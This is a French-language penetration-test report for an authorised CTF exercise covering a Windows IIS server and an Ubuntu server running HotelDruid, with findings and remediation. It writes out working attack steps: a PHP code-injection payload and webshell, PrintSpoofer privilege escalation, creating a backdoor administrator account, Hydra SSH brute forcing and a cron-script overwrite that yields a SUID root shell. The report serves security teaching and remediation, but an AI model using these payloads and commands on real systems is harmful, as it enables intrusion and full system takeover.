Contexte - Rapport consolidé sur deux machines, réalisé dans le cadre d’un exercice CTF autorisé. Type de test : boîte noire · Date : 15 janvier 2026 · Version : v1.0

MachineCibleSystème
Partie 110.8.0.4Windows
Partie 210.8.0.5Ubuntu Hotel

Total : 5 vulnérabilités critiques, 1 haute.


Partie 1 - Machine Windows (10.8.0.4)

1. Résumé exécutif

Ce document présente les résultats du test d’intrusion réalisé sur la machine Windows (10.8.0.4). L’objectif était d’identifier les vulnérabilités présentes et de démontrer l’impact d’une compromission complète.

Le test a révélé des failles critiques menant à une compromission totale : accès initial via un formulaire d’upload non sécurisé, puis escalade vers le compte SYSTEM.

1.1 Synthèse

NiveauNombre
Critique2
Haute0
Moyenne0
Basse0

1.2 Recommandations principales

  1. Désactiver ou sécuriser immédiatement /upload.aspx en production.
  2. Restreindre SeImpersonatePrivilege pour le compte IIS AppPool.
  3. Valider strictement les fichiers uploadés (liste blanche d’extensions, analyse antivirus).
  4. Désactiver le service Print Spooler si non utilisé.

2. Méthodologie

Méthodologie structurée basée sur le PTES (Penetration Testing Execution Standard).

2.1 Reconnaissance

nmap -A -T4 -p- 10.8.0.4

Ports ouverts : 80 (HTTP), 139/445 (SMB), 5985 (WinRM). Le service HTTP correspond à Microsoft IIS 10.0.

2.2 Scan et énumération

Fuzzing de répertoires web avec dirsearch. La page upload.aspx répond en 200 :

dirsearch -u http://10.8.0.4
# [Status: 200] /upload.aspx

2.3 Analyse des vulnérabilités

Le formulaire d’upload ne présente aucune restriction. Un webshell (shell.aspx) a pu être uploadé, permettant l’exécution de commandes arbitraires à distance. Le formulaire affiche même l’avertissement « Upload form test, DO NOT push in production ».

2.4 Exploitation

Exploitation du webshell pour un accès initial avec les privilèges IIS AppPool, puis PrintSpoofer pour abuser des droits d’impersonation :

C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"

whoami /priv confirme que SeImpersonatePrivilege est Enabled.

2.5 Post-exploitation

Escalade vers SYSTEM :

C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"
# => nt authority\system

Recherche des flags :

PrintSpoofer64.exe -i -c "cmd.exe /c dir C:\*.txt /s /b | findstr /i flag"

Récupération du flag Administrator :

PrintSpoofer64.exe -i -c "cmd /c type C:\Users\Administrator\Desktop\flag.txt > C:\inetpub\wwwroot\Uploads\flag_output.txt"
# => OS{BIEN JOUE !}

Création d’un compte admin et connexion via evil-winrm :

PrintSpoofer64.exe -i -c "net user hacker Password123! /add"
PrintSpoofer64.exe -i -c "net localgroup Administrators hacker /add"
evil-winrm -i 10.8.0.4 -u hacker -p Password123!

3. Périmètre du test

Test effectué dans le cadre d’un exercice CTF autorisé.

Cibles

  • IP cible : 10.8.0.4
  • Système : serveur Windows avec IIS 10.0
  • Services ciblés : HTTP (80), SMB (139/445), WinRM (5985)

Type de test

  • Boîte noire
  • Information initiale : plage IP 10.8.0.0/24 uniquement
  • Objectif : compromission complète et récupération du flag Administrator

4. Résultats détaillés

4.1 Formulaire d’upload non sécurisé exposé en production

  • Criticité : CRITIQUE
  • Système affecté : Windows (10.8.0.4) - IIS 10.0 - /upload.aspx

Description - Un formulaire d’upload accessible publiquement à /upload.aspx permet l’upload de fichiers sans aucune validation, et affiche même un avertissement « DO NOT push in production ». Le répertoire de destination (C:\inetpub\wwwroot\Uploads\) est accessible directement via le web.

Impact - Exécution de code arbitraire, compromission complète via webshell, vol de données sensibles.

Preuve de concept

  1. Découverte via fuzzing : dirsearch[Status: 200] /upload.aspx
  2. URL : http://10.8.0.4/upload.aspx
  3. Répertoire accessible : http://10.8.0.4/uploads/ (directory listing activé)

Remédiation

  1. IMMÉDIAT : supprimer ou désactiver /upload.aspx en production.
  2. Liste blanche stricte d’extensions (.pdf, .docx).
  3. Scanner tous les uploads avant stockage.
  4. Stocker les uploads hors du webroot (ex : D:\Uploads\).
  5. Désactiver l’exécution de scripts dans le répertoire d’uploads.
  6. Ajouter une authentification forte.

4.2 Escalade de privilèges via SeImpersonatePrivilege (PrintSpoofer)

  • Criticité : CRITIQUE
  • Système affecté : Windows (10.8.0.4) - compte IIS AppPool avec SeImpersonatePrivilege

Description - Le compte IIS AppPool (iis apppool\defaultapppool) possède SeImpersonatePrivilege. En l’exploitant avec PrintSpoofer (déjà présent sur le serveur), on escalade vers NT AUTHORITY\SYSTEM.

Impact - Compromission totale, contrôle complet, dump SAM/SYSTEM, backdoors persistantes. Flag récupéré : OS{BIEN JOUE !}.

Preuve de concept

whoami /priv                        => SeImpersonatePrivilege Enabled
PrintSpoofer64.exe -i -c "whoami"   => nt authority\system
Flag                                => OS{BIEN JOUE !}

Remédiation

  1. Retirer SeImpersonatePrivilege au compte IIS AppPool.
  2. Désactiver Print Spooler si non utilisé.
  3. Compte de service dédié à privilèges minimaux.
  4. Activer WDAC.
  5. Patcher Windows et IIS.

5. Plan de remédiation

VulnérabilitéCriticitéDélai
Formulaire d’upload non sécurisé (/upload.aspx)CritiqueIMMÉDIAT (< 24h)
Escalade via SeImpersonatePrivilegeCritiqueCourt terme (< 1 sem.)

6. Conclusion - Partie 1

Le test a révélé des vulnérabilités critiques permettant une compromission complète en quelques étapes. La posture de sécurité actuelle est critique.

ÉtapeAction
1 - ReconnaissanceScan nmap → IIS 10.0 sur le port 80
2 - ÉnumérationFuzzing dirsearch → /upload.aspx
3 - Accès initialUpload de shell.aspx → commandes en tant que IIS AppPool
4 - EscaladeSeImpersonatePrivilege + PrintSpoofer → NT AUTHORITY\SYSTEM
5 - ObjectifFlag Administrator : OS{BIEN JOUE !}

7. Annexe - outils (Partie 1)

OutilUsage
Nmap 7.94Scan de ports et énumération
dirsearch / ffufFuzzing web (common.txt)
curlTests HTTP, formulaire d’upload
enum4linuxÉnumération SMB (accès refusé)
NavigateurInteraction avec shell.aspx
PrintSpoofer64.exeExploitation SeImpersonatePrivilege
evil-winrmConnexion WinRM

Partie 2 - Ubuntu Hotel (10.8.0.5)

8. Résumé exécutif

Test sur le serveur Ubuntu Hotel (10.8.0.5). Compromission totale : accès initial via HotelDruid vulnérable, puis élévation vers root via un script cron modifiable.

8.1 Synthèse

NiveauNombre
Critique3
Haute1
Moyenne0
Basse0

8.2 Recommandations principales

  • Mettre à jour HotelDruid et valider strictement tipo_tabella.
  • Désactiver l’accès FTP anonyme ou restreindre les fichiers accessibles.
  • Politique de mots de passe robustes (hotel utilisait superman).
  • Restreindre l’écriture sur /srv/auto_update.sh au seul root.

9. Méthodologie

PTES, accès VPN au réseau cible (black box). Aucune documentation préalable.

9.1 Reconnaissance

sudo nmap -sC -sV -Pn 10.8.0.5

Ports : 21 (FTP vsftpd 3.0.3), 22 (SSH OpenSSH 7.6p1), 80 (Apache 2.4.29), 111 (RPC). Le FTP autorise la connexion anonyme et expose un PDF.

9.2 Scan et énumération

Connexion FTP anonyme → Hotel Paradise Welcome Internship.pdf. Interface HotelDruid sur http://10.8.0.5/hoteldruid/inizio.php.

9.3 Analyse des vulnérabilités

Panneau HotelDruid accessible avec des identifiants faibles. Le paramètre tipo_tabella de visualizza_tabelle.php est vulnérable à une injection PHP (RCE).

9.4 Exploitation

curl -s "http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=cat%20/etc/passwd"

hydra -l hotel -P /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt ssh://10.8.0.5 -t 4

9.5 Post-exploitation

Script /srv/auto_update.sh exécuté par root via cron, modifiable par hotel. Création d’un binaire bash SUID :

cat > /srv/auto_update.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
EOF

/tmp/benbecomeroot -p   # whoami => root

10. Périmètre du test

Cibles

  • IP cible : 10.8.0.5
  • Système : serveur Ubuntu avec Apache, FTP, HotelDruid
  • Services ciblés : FTP (21), SSH (22), HTTP (80)

Type de test

  • Boîte noire
  • Information initiale : accès VPN uniquement
  • Objectif : compromission complète et obtention du compte root

11. Résultats détaillés

11.1 Injection de code PHP (RCE) via HotelDruid: CVSS 9.8

  • Criticité : CRITIQUE (CVSS 9.8)
  • Système affecté : Ubuntu Hotel (10.8.0.5) - HotelDruid / visualizza_tabelle.php
  • Type : CWE-94 - Code Injection (RCE)

Description - Le paramètre tipo_tabella du formulaire de création de chambre n’est pas assaini. En injectant du PHP, un attaquant génère un fichier exécutable sur le serveur et exécute des commandes système arbitraires.

Preuve de concept

Payload : ${system($_REQUEST[cmd])}
http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=whoami
=> www-data

Remédiation - Mettre à jour HotelDruid ; valider/assainir tous les paramètres ; désactiver eval() et les fonctions d’exécution système si inutiles.

11.2 Politique de mots de passe faible: CVSS 9.1

  • Criticité : CRITIQUE (CVSS 9.1)
  • Système affecté : SSH (port 22) et HotelDruid
  • Type : CWE-521 - Weak Password Requirements

Description - Deux comptes à mots de passe triviaux : admin HotelDruid (admin:BestParadise278, deviné via le PDF FTP) et utilisateur SSH (hotel:superman, trouvé par brute force Hydra en quelques minutes).

Preuve de concept

hydra -l hotel -P rockyou.txt ssh://10.8.0.5 -t 4
=> [22][ssh] host: 10.8.0.5 login: hotel password: superman

Remédiation - Mots de passe ≥ 12 caractères complexes (ANSSI) ; fail2ban ; authentification SSH par clés.

11.3 Permissions excessives sur un script cron système: CVSS 7.8

  • Criticité : HAUTE (CVSS 7.8)
  • Système affecté : script /srv/auto_update.sh
  • Type : CWE-732 - Incorrect Permission Assignment

Description - Le script /srv/auto_update.sh, exécuté par root via cron, est modifiable par l’utilisateur hotel. On y injecte des commandes exécutées en root.

Preuve de concept

cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
/tmp/benbecomeroot -p   # => euid=0(root)

Remédiation - chmod 700 sur le script (root seul) ; audit régulier des permissions des scripts cron.

12. Chaîne d’attaque complète (Partie 2)

ÉtapeAction
1 - FTP anonymeRécupération de Hotel Paradise Welcome Internship.pdf
2 - Credential guessingIdentifiants admin HotelDruid : admin:BestParadise278
3 - Injection PHP (RCE)Webshell via tipo_tabella → commandes en www-data
4 - Mouvement latéral SSH/etc/passwd via webshell, brute force → hotel (superman)
5 - RootModification du cron /srv/auto_update.sh → shell root via SUID

13. Conclusion - Partie 2

Le serveur présente un niveau de sécurité insuffisant. Application web non patchée, mots de passe triviaux et permissions défaillantes ont permis d’atteindre root depuis un simple accès VPN.

VulnérabilitéCriticitéDélai
Injection PHP RCE (tipo_tabella)CritiqueIMMÉDIAT (< 24h)
Mots de passe faibles (hotel:superman)CritiqueIMMÉDIAT (< 24h)
Permissions sur /srv/auto_update.shHauteCourt terme (< 1 sem.)
FTP anonyme exposant des informationsHauteCourt terme (< 1 sem.)

14. Annexe - outils (Partie 2)

OutilUsage
NmapScan de ports (-sC -sV -Pn)
Navigateur / curlHotelDruid, webshell PHP
HydraBrute force SSH (rockyou.txt)
FTP clientConnexion anonyme, récupération du PDF
Shell bashExploitation cron et escalade root